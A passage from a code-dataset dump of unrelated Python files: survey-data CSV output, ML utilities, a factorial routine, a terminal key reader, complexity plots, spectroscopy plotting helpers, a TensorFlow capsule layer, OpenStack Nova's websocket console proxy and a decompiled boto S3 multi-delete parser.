range(420,420+numTests):\n\t\ttestNum=str(testNum)\n\t\tf.write(str(stage1AutoTime_dict[testNum])+\",\")\n\tf.write(\"\\n\")\n\n\tf.write(\"stage 2 auto time,\")\n\tfor testNum in range(420,420+numTests):\n\t\ttestNum=str(testNum)\n\t\tf.write(str(stage2AutoTime_dict[testNum])+\",\")\n\tf.write(\"\\n\")\n\n\tf.write(\"stage 3 auto time,\")\n\tfor testNum in range(420,420+numTests):\n\t\ttestNum=str(testNum)\n\t\tf.write(str(stage3AutoTime_dict[testNum])+\",\")\n\tf.write(\"\\n\")\n\n\tf.write(\"auto time total,\")\n\tfor testNum in range(420,420+numTests):\n\t\ttestNum=str(testNum)\n\t\tf.write(str(stage1AutoTime_dict[testNum]+stage2AutoTime_dict[testNum]+stage3AutoTime_dict[testNum])+\",\")\n\tf.write(\"\\n\")\n\n\tf.write(\"auto time %,\")\n\tfor testNum in range(420,420+numTests):\n\t\ttestNum=str(testNum)\n\t\tf.write(str((stage1AutoTime_dict[testNum]+stage2AutoTime_dict[testNum]+stage3AutoTime_dict[testNum])/float(total_time_dict[testNum]))+\",\")\n\tf.write(\"\\n\")\n\n\tf.write(\"collisions,\")\n\tfor testNum in range(420,420+numTests):\n\t\ttestNum=str(testNum)\n\t\tf.write(str(collisions_dict[testNum])+\",\")\n\tf.write(\"\\n\")\n\n\tf.write(\"stage 1 collisions,\")\n\tfor testNum in range(420,420+numTests):\n\t\ttestNum=str(testNum)\n\t\tf.write(str(stage1Collisions_dict[testNum])+\",\")\n\tf.write(\"\\n\")\n\n\tf.write(\"stage 2 collisions,\")\n\tfor testNum in range(420,420+numTests):\n\t\ttestNum=str(testNum)\n\t\tf.write(str(stage2Collisions_dict[testNum])+\",\")\n\tf.write(\"\\n\")\n\n\tf.write(\"stage 3 collisions,\")\n\tfor testNum in range(420,420+numTests):\n\t\ttestNum=str(testNum)\n\t\tf.write(str(stage3Collisions_dict[testNum])+\",\")\n\tf.write(\"\\n\")\n\tf.write(\"\\n\")\n\n\t#f.close()\nf.close()\n","sub_path":"Survey Data/analysis.py","file_name":"analysis.py","file_ext":"py","file_size_in_byte":5892,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"86916792","text":"#!/usr/bin/env python\n# coding: utf-8\n\n\nimport sys\nimport os\nimport io\nimport boto3\nimport json\nimport time\nimport pickle\nfrom functools import reduce\nfrom operator import mul\nimport numpy as np\nimport pandas as pd\nimport subprocess\n\n\ndef call(cmd):\n return subprocess.call(cmd.split())\n\n\ndef to_json(o, bucket, key):\n with io.StringIO() as f:\n json.dump(o, f)\n f.seek(0)\n boto3.resource(\"s3\").Object(bucket, key).put(Body=f.getvalue())\n\n\ndef print_dir(path):\n print(subprocess.call([\"ls\", \"-lR\", path]))\n\n\ndef print_dict(title, d):\n print(title)\n for k, v in d.items():\n print(f\"{k:<16}:{v}\")\n\n\ndef load_pickle(filename):\n with open(filename, \"rb\") as f:\n print(f\"Load {filename}...\")\n return pickle.load(f)\n\n\ndef dump_pickle(o, filename):\n with open(filename, \"wb\") as f:\n print(f\"Write {filename}...\")\n pickle.dump(o, f)\n\n\ndef dump_results(pids, event_names, labels, scores, filepath):\n \"\"\"Dump results.\n\n pids : list of patient ids\n event_names : list of event names\n labels : numpy array of binary labels of shape (n_patients, n_classes)\n scores : numpy array of scores, same shape\n filepath : path where the csv will be dumped\n \"\"\"\n event_cols = [f\"e_{i}\" for i in event_names]\n score_cols = [f\"s_{i}\" for i in event_names]\n df = pd.concat(\n [\n pd.DataFrame(pids, columns=[\"patient_id\"]),\n pd.DataFrame(labels.astype(int), columns=event_cols),\n pd.DataFrame(scores, columns=score_cols),\n ],\n axis=1,\n )\n df.to_csv(filepath, index=False)\n\n\ndef load_results(filepath):\n df = pd.read_csv(filepath)\n event_names = [c[2:] for c in df.columns if c.startswith(\"e_\")]\n event_cols = [c for c in df.columns if c.startswith(\"e_\")]\n score_cols = [c for c in df.columns if c.startswith(\"s_\")]\n return (\n df[\"patient_id\"].to_list(),\n event_names,\n df[event_cols].values,\n df[score_cols].values,\n )\n\n\ndef cache_path(source_list):\n import hashlib\n\n s = \"+\".join([str(s) for s in source_list])\n return \"cache_{}.pkl\".format(hashlib.md5(s.encode()).hexdigest())\n\n\ndef print_model(model):\n print(model)\n print(\n \"Total number of parameters\",\n sum(map(lambda p: reduce(mul, p.shape), model.parameters())),\n )\n\n\ndef label_binarize_simple(y, classes):\n yb = np.zeros((len(y), len(classes)), np.int8)\n for i, cl in enumerate(classes):\n yb[:, i] = y == cl\n return yb\n\n\ndef sigmoid(x):\n return 1 / (1 + np.exp(-x))\n","sub_path":"final/competition/model/readmission/lstm/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":2580,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"197960615","text":"number=5\r\nprime = [True]*(number + 1)\r\nresult = 1\r\nfor i in range (2, number+1):\r\n if prime[i]:\r\n #update prime table\r\n j = i+i\r\n while j <= number:\r\n prime[j] = False\r\n j += i\r\n sum = 0\r\n t = i\r\n while t <= number:\r\n sum += number//t\r\n t *= i\r\n result *= i**sum\r\n\r\nprint(result)","sub_path":"New folder/Factorial Fast.py","file_name":"Factorial Fast.py","file_ext":"py","file_size_in_byte":375,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"605269401","text":"# **************************************************************************** #\n# #\n# ::: :::::::: #\n# Getch.py :+: :+: :+: #\n# +:+ +:+ +:+ #\n# By: patrisor +#+ +:+ +#+ #\n# +#+#+#+#+#+ +#+ #\n# Created: 2019/09/24 00:05:58 by patrisor #+# #+# #\n# Updated: 2019/09/24 00:12:50 by patrisor ### ########.fr #\n# #\n# **************************************************************************** #\n\nimport sys,tty,termios\n\nclass _Getch:\n def __call__(self):\n # Take in a file descriptor for standard input; 0\n fd = sys.stdin.fileno()\n # Return a list containing the tty attributes for file descriptor 0\n # List is as follows: [iflag, oflag, cflag, lflag, ispeed, ospeed, cc];\n # where cc is a list of the tty special characters\n old_settings = termios.tcgetattr(fd)\n try:\n # Change the mode of the file descriptor fd to raw. If when is omitted,\n # it defaults to termios.TCSAFLUSH, and is passed to termios.tcsetattr()\n tty.setraw(sys.stdin.fileno())\n # Reads input\n ch = sys.stdin.read(1)\n finally:\n # In case there is an exemption, it will default everything back\n # Set the tty attributes for file descriptor, 0, from the attributes\n # TCSADRAIN to change after transmitting all queued output\n termios.tcsetattr(fd, termios.TCSADRAIN, old_settings)\n return ch\n\ndef getch():\n ValidInputs = ['w', 's', 'a', 'd', '-', '=', '[', ']', 'o', 'p', '\\033']\n inkey = _Getch()\n while(1):\n k=inkey()\n if k in ValidInputs: break\n else: print(\"Invalid Input\")\n if k == '\\033':\n print(\"Goodbye!\")\n exit(-1)\n return k\n","sub_path":"py_version/source/Getch.py","file_name":"Getch.py","file_ext":"py","file_size_in_byte":2213,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"193534328","text":"\"\"\"\n查找 - 顺序查找和二分查找\n算法 - 解决问题的方法(步骤)\n\n评价一个算法的好坏主要有两个指标 - 渐近时间复杂度和渐近空间复杂度,\n通常一个算法很难做到时间复杂度和空间复杂度都很低(因为时间和空间是不可调和的矛盾)\n\n表示渐近时间复杂度通常使用大O标记\nO(c) - 常量时间复杂度 - 哈希存储 / 布隆过滤器\nO(log_2 n) - 对数时间复杂度 - 折半查找\nO(n) - 线性时间复杂度 - 顺序查找\nO(n * log_2 n) - 对数线性时间复杂度 - 高级排序算法(归并排序、快速排序)\nO(n ** 2) - 平方时间复杂度 - 简单排序算法(冒泡排序、选择排序、插入排序)\nO(n ** 3) - 立方时间复杂度 / 多项式时间复杂度 - Floyd 算法 / 矩阵乘法运算\nO(2 ** n) - 几何级数时间复杂度 - 汉诺塔\nO(3 ** n) - 几何级数时间复杂度 / 指数时间复杂度\nO(n!) - 阶乘时间复杂度 - 旅行经销商问题 / NP\n\"\"\"\n\nfrom math import log2, factorial\nfrom matplotlib import pyplot\n\nimport numpy\n\n\ndef main():\n \"\"\"主函数(程序入口)\"\"\"\n num_1 = 6\n num_2 = 7\n styles_1 = ['r-.', 'g-*', 'b-o', 'y-x']\n styles_2 = ['c-^', 'm-+', 'k-d']\n legends_1 = ['对数', '线性', '线性对数', '平方']\n legends_2 = ['立方', '几何级数', '阶乘']\n\n # 横坐标\n x_data_1 = [x for x in range(1, num_1 + 1)]\n x_data_2 = [x for x in range(1, num_2 + 1)]\n\n # 对数\n y_data1 = [log2(y) for y in range(1, num_1 + 1)]\n\n # 线性\n y_data2 = [y for y in range(1, num_1 + 1)]\n\n # 线性对数\n y_data3 = [y * log2(y) for y in range(1, num_1 + 1)]\n\n # 平方\n y_data4 = [y**2 for y in range(1, num_1 + 1)]\n\n # 立方\n y_data5 = [y**3 for y in range(1, num_2 + 1)]\n\n # 几何级数\n y_data6 = [3**y for y in range(1, num_2 + 1)]\n\n # 阶乘\n y_data7 = [factorial(y) for y in range(1, num_2 + 1)]\n\n y_datas_1 = [y_data1, y_data2, y_data3, y_data4]\n y_datas_2 = [y_data5, y_data6, y_data7]\n\n pyplot.rcParams['font.sans-serif'] = ['SimHei']\n\n # plot 1\n pyplot.subplot(1, 2, 1)\n for index, y_data in enumerate(y_datas_1):\n pyplot.plot(x_data_1, y_data, styles_1[index])\n pyplot.legend(legends_1)\n pyplot.xticks(numpy.arange(1, num_1 + 1, step=1))\n pyplot.yticks(numpy.arange(0, (num_1 + 1) * 10, step=10))\n\n # plot 2\n pyplot.subplot(1, 2, 2)\n for index, y_data in enumerate(y_datas_2):\n pyplot.plot(x_data_2, y_data, styles_2[index])\n pyplot.legend(legends_2)\n pyplot.xticks(numpy.arange(1, num_2 + 1, step=1))\n pyplot.yticks(numpy.arange(0, (num_2 + 1) * 700, step=700))\n\n pyplot.show()\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"language/python/python-100-days/day-16-20/d-16/algorithm_code/exa_01.py","file_name":"exa_01.py","file_ext":"py","file_size_in_byte":2902,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"412141739","text":"''' Plotting wrappers for dataframes, for implementation in pyuvvis. Basically calls df.plot()\nwith some extra bells and whistles like trying to extract column labels and dataframe names,\nas well as some exploration into custom labels and color mapping.'''\n\n__author__ = \"Adam Hughes\"\n__copyright__ = \"Copyright 2012, GWU Physics\"\n__license__ = \"Free BSD\"\n__maintainer__ = \"Adam Hughes\"\n__email__ = \"hugadams@gwmail.gwu.edu\"\n__status__ = \"Development\"\n\nfrom matplotlib.colors import cnames, Normalize\nimport matplotlib.cm as cm\n\n### For local use\n#import sys\n#sys.path.append('../')\n#from custom_errors import badvalue_error\n\nfrom pyuvvis.custom_errors import badvalue_error\n\ndef cmget(color):\n ''' Takes in a default cm color name and returns the cm.attribute color mapper for convienence. Some of the\n builtin colors are not lowercase, so can't do color.lower().'''\n try:\n cmap=getattr(cm, color)\n except AttributeError:\n raise badvalue_error(color, 'a custom LInearSegmentedColormap or a string matching \\\n the default colormaps available to matplotlib (http://dept.astro.lsa.umich.edu/~msshin/science/code/matplotlib_cm/)') \n return cmap\n\ndef _df_colormapper(df, cmap, axis=0, style='max', vmin=None, vmax=None):\n ''' Maps matplotlibcolors to a dataframe based on the mean value of each curve along that\n axis. Useful for df.plot() which doesn't take a normalized colormap natively. cmap can be\n an instance of an RGB color map, or a string which such that cm.string will produce one.\n Default ones are here:\n http://dept.astro.lsa.umich.edu/~msshin/science/code/matplotlib_cm/ (is this outdated?) \n \n style: should curve be colored based on its average value or max value.\n \n Note that mapping paints an entire curve, not points on the curve! '''\n \n style=style.lower()\n if isinstance(cmap, basestring): \n cmap=cmget(cmap)\n \n if axis != 0 and axis != 1:\n raise badvalue_error(axis, 'integers 0 or 1')\n\n if not vmin:\n vmin=min(df.min(axis=axis))\n if not vmax:\n vmax=max(df.max(axis=axis))\n \n cNorm=Normalize(vmin=vmin, vmax=vmax)\n scalarmap=cm.ScalarMappable(norm=cNorm, cmap=cmap) \n if style=='mean':\n if axis==0:\n colors=[scalarmap.to_rgba(df[x].mean()) for x in df.columns]\n elif axis==1:\n colors=[scalarmap.to_rgba(df.ix[x].mean()) for x in df.index] \n \n elif style=='max':\n if axis==0:\n colors=[scalarmap.to_rgba(df[x].max()) for x in df.columns]\n elif axis==1:\n colors=[scalarmap.to_rgba(df.ix[x].max()) for x in df.index] \n else: \n raise badvalue_error(style, '\"max\" or \"mean\"') \n \n return colors\n \ndef _uvvis_colors(df, delim=':'):\n ''' From a dataframe with indicies of ranged wavelengths (eg 450.0:400.0), and builds colormap\n with fixed uv_vis limits (for now 400, 700). Here are some builtin ones:\n http://dept.astro.lsa.umich.edu/~msshin/science/code/matplotlib_cm/. \n \n Colors each curve based on the mid value in range. '''\n colors=[]\n cNorm=Normalize(vmin=350.0, vmax=700.0)\n scalarmap=cm.ScalarMappable(norm=cNorm, cmap=cm.jet) \n\n for rng in df.index:\n start,stop=rng.split(delim)\n colors.append(scalarmap.to_rgba(0.5 * (float(stop)+float(start) ) ) )\n return colors\n\n \ndef easy_legend(ax, fancy=True, position='top', **legendkwds):\n ''' Wrapper around ax.legend to make it easy to move a legend around the edges of the plot. Made for sensible\n numbers of lines (1-15) and tries to choose smart placement to avoid conflict with lines, labels etc...\n \n BROKEN!!!\n \n This is a bust, since plotting legend is easy enough. See guide, especially with the 'loc' \n http://matplotlib.org/users/legend_guide.html\n \n If coming back to this, here are the issues to resolve:\n legend['loc'] must be enabled for the bounding box to work correctly/consistently.\n bbox coordinates are (left edge, bottom edge) of legend. \n -controlling bottom edge is really dumb because want the top edge to clear the xlabel for example, and bottom\n edge depends on thickness of plot. Putting the legend on top actually works nicely for this.\n \n If plotting outside left/right of plot, need to squeeze the plot in afterall, it will not accommadate my legend.\n Had this code, but deleted it. Basically, need to squeeze left/right width of the axes.bounding width by 20%\n per column of legend. \n (see second reply here http://stackoverflow.com/questions/4700614/how-to-put-the-legend-out-of-the-plot)\n \n \n '''\n \n ir=lambda x: int(round(x))\n position=position.lower() \n legendkwds['loc']=3 #MUST BE SET TO SOMETHING, 2 or 3 doesn't matter, or lower left is no longer start point \n \n if position not in ['top', 'bottom', 'left', 'right']:\n raise badvalue_error(position, 'top, bottom, left, or right')\n \n ################################################################\n ### Choose skinny legend for top bottom, long for left/right ###\n ################################################################\n if 'ncol' not in legendkwds:\n if position=='top' or position=='bottom':\n \n if len(ax.lines) < 4:\n ncol=len(ax.lines)\n else:\n ncol=4 \n else:\n ncol=ir( len(ax.lines)/20.0) #For left right, nice if columns have large vertical extent (10 lines is good)\n if ncol==0:\n ncol=1\n legendkwds['ncol']=ncol\n\n ###################################################\n ### Choose legend position around plot elements ###\n ###################################################\n\n box=ax.get_position() #Can do box.x0 and stuff when resetting ax.set_position()\n\n if 'bbox_to_anchor' not in legendkwds: #Don't use has_key(), gone in 3.x\n\n if position=='top': \n ''' Legend slightly inside the upper bound of plot'''\n if ax.get_title() == '':\n bbox_to_anchor=(0.2, 1.025) #0.25 will only center plot if plot is 0.5 units long, then\n else: #other end at 0.75. 0.2 looks nice for 8 column uv-vis plot. \n bbox_to_anchor=(0.2, 1.05) #Also depends on size of monitor!! so either way, screwed\n \n\n elif position=='bottom':\n ''' Centered legend under the label'''\n \n if ax.get_xlabel()=='':\n bbox_to_anchor=(0.25, -0.025)\n else:\n bbox_to_anchor=(0.25, -0.05)\n\n\n elif position=='right':\n ''' Squeeze 20% width inward per column in legend to make room'''\n bbox_to_anchor=(1.05, 0.0) #WHY DOESNT 1,1 work\n\n elif position=='left':\n ''' Squeeze 20% width inward per column in legend to make room'''\n if ax.get_ylabel()=='':\n bbox_to_anchor=(-0.07, 1.0) \n else:\n bbox_to_anchor=(-0.12, 1.0)\n\n \n legendkwds['bbox_to_anchor']=bbox_to_anchor\n\n if fancy and 'fancybox' not in legendkwds and 'shadow' not in legendkwds:\n legendkwds['fancybox']=True\n legendkwds['shadow']=True\n\n if 'borderaxespad' not in legendkwds:\n legendkwds['borderaxespad']=0.0 #Havne't played with this\n \n ### WHY IS MODE BROKEN (comes up garbled on plot) \n# if 'mode' not in legendkwds:\n # legendkwds['mode']='expand'\n \n\n ax.legend(**legendkwds)\n return ax\n\ndef smart_label(df, pltkwargs):\n '''Infers title, xlabel and ylabel either from dictionary or dataframe attributes index.name, columns.name\n and df.name. Used by plotting functions to assign labels and title. All defaults are set to blank.\n \n Note: xlabel, ylabel, zlabel are popped out of the dictionary, so will be gone upon return.'''\n \n ### If no pltkwards or df attributes found, these are assigned to axis. Blank probably not necessary,\n ### but wanted to leave this here incase it's ever useful to alter the default label.\n xlabel_def=pltkwargs.pop('xlabel_def', '')\n ylabel_def=pltkwargs.pop('ylabel_def', '')\n zlabel_def=pltkwargs.pop('zlabel_def', '')\n title_def=pltkwargs.pop('title_def', '') \n \n if 'xlabel' in pltkwargs:\n xlabel=pltkwargs.pop('xlabel')\n else:\n ### Get from df.index.name\n try:\n xlabel=df.columns.name #YES THIS IS PRIMARILY COLUMN IN THIS CASE\n ### Get from default value \n except AttributeError:\n xlabel=xlabel_def\n \n ### Attribute error not tripped if the index.name is None \n if not xlabel:\n xlabel=xlabel_def \n \n if 'ylabel' in pltkwargs:\n ylabel=pltkwargs.pop('ylabel')\n else:\n try:\n ylabel=df.index.name\n ### Get from default value \n except AttributeError:\n ylabel=ylabel_def\n\n ### Attribute error not tripped if the column.name is None \n if not ylabel:\n ylabel=ylabel_def \n\n if 'title' in pltkwargs:\n title=pltkwargs.pop('title')\n else:\n try:\n title=df.name\n except AttributeError:\n title=title_def\n \n ### Attribute error not tripped if the column.name is None \n if not title:\n title=title_def \n\n return xlabel, ylabel, title, pltkwargs ","sub_path":"pyuvvis/pyplots/plot_utils.py","file_name":"plot_utils.py","file_ext":"py","file_size_in_byte":9699,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"27271668","text":"import numpy as np\nimport tensorflow as tf\n\nclass CapsLayer(object):\n ''' Capsule layer.\n Args:\n input: A 4-D tensor.\n num_outputs: the number of capsule in this layer.\n vec_len: integer, the length of the output vector of a capsule.\n layer_type: string, one of 'FC' or \"CONV\", the type of this layer,\n fully connected or convolution, for the future expansion capability\n with_routing: boolean, this capsule is routing with the\n lower-level layer capsule.\n\n Returns:\n A 4-D tensor.\n '''\n def __init__(self, conv_num_outputs, fcc_num_outputs, conv_vec_len, fcc_vec_len, caps_neurons, batch_size):\n self.conv_num_outputs = conv_num_outputs\n self.fcc_num_outputs = fcc_num_outputs\n self.conv_vec_len = conv_vec_len\n self.fcc_vec_len = fcc_vec_len\n self.caps_neurons = caps_neurons\n self.batch_size = batch_size\n self.iter_routing = 3\n self.stddev = 0.01\n\n def conv_layer(self, input, kernel_size=None, stride=None):\n capsules = []\n for i in range(self.conv_vec_len):\n with tf.variable_scope('ConvUnit_' + str(i)):\n caps_i = tf.contrib.layers.conv2d(input, self.conv_num_outputs,\n kernel_size, stride,\n padding=\"VALID\")\n caps_i = tf.reshape(caps_i, shape=(self.batch_size, -1, 1, 1))\n capsules.append(caps_i)\n\n\n capsules = tf.concat(capsules, axis=2)\n capsules = self.squash(capsules)\n\n return(capsules)\n\n def fcc_layer(self, input):\n input = tf.reshape(input, shape=(self.batch_size, self.caps_neurons, 1, self.conv_vec_len, 1))\n\n with tf.variable_scope('routing'):\n # b_IJ: [1, 1, num_caps_l, num_caps_l_plus_1, 1]\n b_IJ = tf.zeros(shape=[1, self.caps_neurons, self.fcc_num_outputs, 1, 1], dtype=np.float32)\n capsules = self.routing(input, b_IJ)\n capsules = tf.squeeze(capsules, axis=1)\n\n return(capsules)\n\n\n\n def routing(self, input, b_IJ):\n ''' The routing algorithm.\n\n Args:\n input: A Tensor with [batch_size, 1, num_caps_l=1152, length(u_i)=8, 1]\n shape, num_caps_l meaning the number of capsule in the layer l.\n Returns:\n A Tensor of shape [batch_size, num_caps_l_plus_1, length(v_j)=16, 1]\n representing the vector output `v_j` in the layer l+1\n Notes:\n u_i represents the vector output of capsule i in the layer l, and\n v_j the vector output of capsule j in the layer l+1.\n '''\n\n # W: [num_caps_j, num_caps_i, len_u_i, len_v_j]\n W = tf.get_variable('Weight', shape=(1, self.caps_neurons, self.fcc_num_outputs, self.conv_vec_len, self.fcc_vec_len), dtype=tf.float32,\n initializer=tf.random_normal_initializer(stddev=self.stddev))\n\n # Eq.2, calc u_hat\n # do tiling for input and W before matmul\n # input => [batch_size, 1152, 10, 8, 1]\n # W => [batch_size, 1152, 10, 8, 16]\n input = tf.tile(input, [1, 1, self.fcc_num_outputs, 1, 1])\n W = tf.tile(W, [self.batch_size, 1, 1, 1, 1])\n\n # in last 2 dims:\n # [8, 16].T x [8, 1] => [16, 1] => [batch_size, 1152, 10, 16, 1]\n u_hat = tf.matmul(W, input, transpose_a=True)\n\n # line 3,for r iterations do\n for r_iter in range(self.iter_routing):\n with tf.variable_scope('iter_' + str(r_iter)):\n # line 4:\n # => [1, 1, 1152, 10, 1]\n c_IJ = tf.nn.softmax(b_IJ, dim=3)\n c_IJ = tf.tile(c_IJ, [self.batch_size, 1, 1, 1, 1])\n\n\n # line 5:\n # weighting u_hat with c_IJ, element-wise in the last tow dim\n # => [batch_size, 1152, 10, 16, 1]\n s_J = tf.multiply(c_IJ, u_hat)\n # then sum in the second dim, resulting in [batch_size, 1, 10, 16, 1]\n s_J = tf.reduce_sum(s_J, axis=1, keep_dims=True)\n\n # line 6:\n # squash using Eq.1,\n v_J = self.squash(s_J)\n\n # line 7:\n # reshape & tile v_j from [batch_size ,1, 10, 16, 1] to [batch_size, 10, 1152, 16, 1]\n # then matmul in the last tow dim: [16, 1].T x [16, 1] => [1, 1], reduce mean in the\n # batch_size dim, resulting in [1, 1152, 10, 1, 1]\n v_J_tiled = tf.tile(v_J, [1, self.caps_neurons, 1, 1, 1])\n u_produce_v = tf.matmul(u_hat, v_J_tiled, transpose_a=True)\n print(\"routing.u_produce_v.shape\", u_produce_v.get_shape())\n b_IJ += tf.reduce_sum(u_produce_v, axis=0, keep_dims=True)\n\n return(v_J)\n\n\n def squash(self, vector):\n '''Squashing function corresponding to Eq. 1\n Args:\n vector: A 5-D tensor with shape [batch_size, 1, num_caps, vec_len, 1],\n Returns:\n A 5-D tensor with the same shape as vector but squashed in 4rd and 5th dimensions.\n '''\n vec_squared_norm = tf.reduce_sum(tf.square(vector), -2, keep_dims=True)\n scalar_factor = vec_squared_norm / (1 + vec_squared_norm) / tf.sqrt(vec_squared_norm)\n vec_squashed = scalar_factor * vector # element-wise\n return(vec_squashed)\n","sub_path":"src/capsnet/capsLayer.py","file_name":"capsLayer.py","file_ext":"py","file_size_in_byte":5416,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"445645291","text":"# Copyright (c) 2012 OpenStack Foundation\n# All Rights Reserved.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\"); you may\n# not use this file except in compliance with the License. You may obtain\n# a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the\n# License for the specific language governing permissions and limitations\n# under the License.\n\n'''\nWebsocket proxy that is compatible with OpenStack Nova.\nLeverages websockify.py by Joel Martin\n'''\n\nimport Cookie\nimport socket\nimport urlparse\n\nimport websockify\n\nfrom nova.consoleauth import rpcapi as consoleauth_rpcapi\nfrom nova import context\nfrom nova import exception\nfrom nova.openstack.common.gettextutils import _\nfrom nova.openstack.common import log as logging\nfrom oslo.config import cfg\n\nCONF = cfg.CONF\nCONF.import_opt('novncproxy_base_url', 'nova.vnc')\nCONF.import_opt('html5proxy_base_url', 'nova.spice', group='spice')\nCONF.import_opt('vnc_enabled', 'nova.vnc')\nCONF.import_opt('enabled', 'nova.spice', group='spice')\n\nLOG = logging.getLogger(__name__)\n\n\nclass NovaWebSocketProxy(websockify.WebSocketProxy):\n def __init__(self, *args, **kwargs):\n websockify.WebSocketProxy.__init__(self, unix_target=None,\n target_cfg=None,\n ssl_target=None, *args, **kwargs)\n\n def verify_origin_proto(self, console_type, origin_proto):\n if console_type == 'novnc':\n expected_proto = \\\n urlparse.urlparse(CONF.novncproxy_base_url).scheme\n elif console_type == 'spice-html5':\n expected_proto = \\\n urlparse.urlparse(CONF.spice.html5proxy_base_url).scheme\n else:\n detail = _(\"Invalid Console Type for WebSocketProxy: '%s'\") % \\\n console_type\n LOG.audit(detail)\n raise exception.ValidationError(detail=detail)\n return origin_proto == expected_proto\n\n def new_client(self):\n \"\"\"Called after a new WebSocket connection has been established.\"\"\"\n # Reopen the eventlet hub to make sure we don't share an epoll\n # fd with parent and/or siblings, which would be bad\n from eventlet import hubs\n hubs.use_hub()\n\n cookie = Cookie.SimpleCookie()\n cookie.load(self.headers.getheader('cookie'))\n token = cookie['token'].value\n ctxt = context.get_admin_context()\n rpcapi = consoleauth_rpcapi.ConsoleAuthAPI()\n connect_info = rpcapi.check_token(ctxt, token=token)\n\n if not connect_info:\n LOG.audit(\"Invalid Token: %s\", token)\n raise Exception(_(\"Invalid Token\"))\n\n # Verify Origin\n expected_origin_hostname = self.headers.getheader('Host')\n if ':' in expected_origin_hostname:\n e = expected_origin_hostname\n expected_origin_hostname = e.split(':')[0]\n origin_url = self.headers.getheader('Origin')\n # missing origin header indicates non-browser client which is OK\n if origin_url is not None:\n origin = urlparse.urlparse(origin_url)\n origin_hostname = origin.hostname\n origin_scheme = origin.scheme\n if origin_hostname == '' or origin_scheme == '':\n detail = _(\"Origin header not valid.\")\n raise exception.ValidationError(detail=detail)\n if expected_origin_hostname != origin_hostname:\n detail = _(\"Origin header does not match this host.\")\n raise exception.ValidationError(detail=detail)\n if not self.verify_origin_proto(connect_info['console_type'],\n origin.scheme):\n detail = _(\"Origin header protocol does not match this host.\")\n raise exception.ValidationError(detail=detail)\n\n host = connect_info['host']\n port = int(connect_info['port'])\n\n # Connect to the target\n self.msg(\"connecting to: %s:%s\" % (host, port))\n LOG.audit(\"connecting to: %s:%s\" % (host, port))\n tsock = self.socket(host, port, connect=True)\n\n # Handshake as necessary\n if connect_info.get('internal_access_path'):\n tsock.send(\"CONNECT %s HTTP/1.1\\r\\n\\r\\n\" %\n connect_info['internal_access_path'])\n while True:\n data = tsock.recv(4096, socket.MSG_PEEK)\n if data.find(\"\\r\\n\\r\\n\") != -1:\n if not data.split(\"\\r\\n\")[0].find(\"200\"):\n LOG.audit(\"Invalid Connection Info %s\", token)\n raise Exception(_(\"Invalid Connection Info\"))\n tsock.recv(len(data))\n break\n\n if self.verbose and not self.daemon:\n print(self.traffic_legend)\n\n # Start proxying\n try:\n self.do_proxy(tsock)\n except Exception:\n if tsock:\n tsock.shutdown(socket.SHUT_RDWR)\n tsock.close()\n self.vmsg(\"%s:%s: Target closed\" % (host, port))\n LOG.audit(\"%s:%s: Target closed\" % (host, port))\n raise\n","sub_path":"nova-new-sriov/nova/console/websocketproxy.py","file_name":"websocketproxy.py","file_ext":"py","file_size_in_byte":5427,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"245317501","text":"# uncompyle6 version 3.6.7\n# Python bytecode 3.4 (3310)\n# Decompiled from: Python 3.8.2 (tags/v3.8.2:7b3ab59, Feb 25 2020, 23:03:10) [MSC v.1916 64 bit (AMD64)]\n# Embedded file name: build/bdist.macosx-10.10-x86_64/egg/boto/s3/multidelete.py\n# Compiled at: 2015-11-24 05:02:18\n# Size of source mod 2**32: 4757 bytes\nfrom boto import handler\nimport xml.sax\n\nclass Deleted(object):\n \"\"\"Deleted\"\"\"\n\n def __init__(self, key=None, version_id=None, delete_marker=False, delete_marker_version_id=None):\n self.key = key\n self.version_id = version_id\n self.delete_marker = delete_marker\n self.delete_marker_version_id = delete_marker_version_id\n\n def __repr__(self):\n if self.version_id:\n return '' % (self.key, self.version_id)\n else:\n return '' % self.key\n\n def startElement(self, name, attrs, connection):\n pass\n\n def endElement(self, name, value, connection):\n if name == 'Key':\n self.key = value\n else:\n if name == 'VersionId':\n self.version_id = value\n else:\n if name == 'DeleteMarker':\n if value.lower() == 'true':\n self.delete_marker = True\n else:\n if name == 'DeleteMarkerVersionId':\n self.delete_marker_version_id = value\n else:\n setattr(self, name, value)\n\n\nclass Error(object):\n \"\"\"Error\"\"\"\n\n def __init__(self, key=None, version_id=None, code=None, message=None):\n self.key = key\n self.version_id = version_id\n self.code = code\n self.message = message\n\n def __repr__(self):\n if self.version_id:\n return '' % (self.key, self.version_id,\n self.code)\n else:\n return '' % (self.key, self.code)\n\n def startElement(self, name, attrs, connection):\n pass\n\n def endElement(self, name, value, connection):\n if name == 'Key':\n self.key = value\n else:\n if name == 'VersionId':\n self.version_id = value\n else:\n if name == 'Code':\n self.code = value\n else:\n if name == 'Message':\n self.message = value\n else:\n setattr(self, name, value)\n\n\nclass MultiDeleteResult(object):\n \"\"\"MultiDeleteResult\"\"\"\n\n def __init__(self, bucket=None):\n self.bucket = None\n self.deleted = []\n self.errors = []\n\n def startElement(self, name, attrs, connection):\n if name == 'Deleted':\n d = Deleted()\n self.deleted.append(d)\n return d\n if name == 'Error':\n e = Error()\n self.errors.append(e)\n return e\n\n def endElement(self, name, value, connection):\n setattr(self, name, 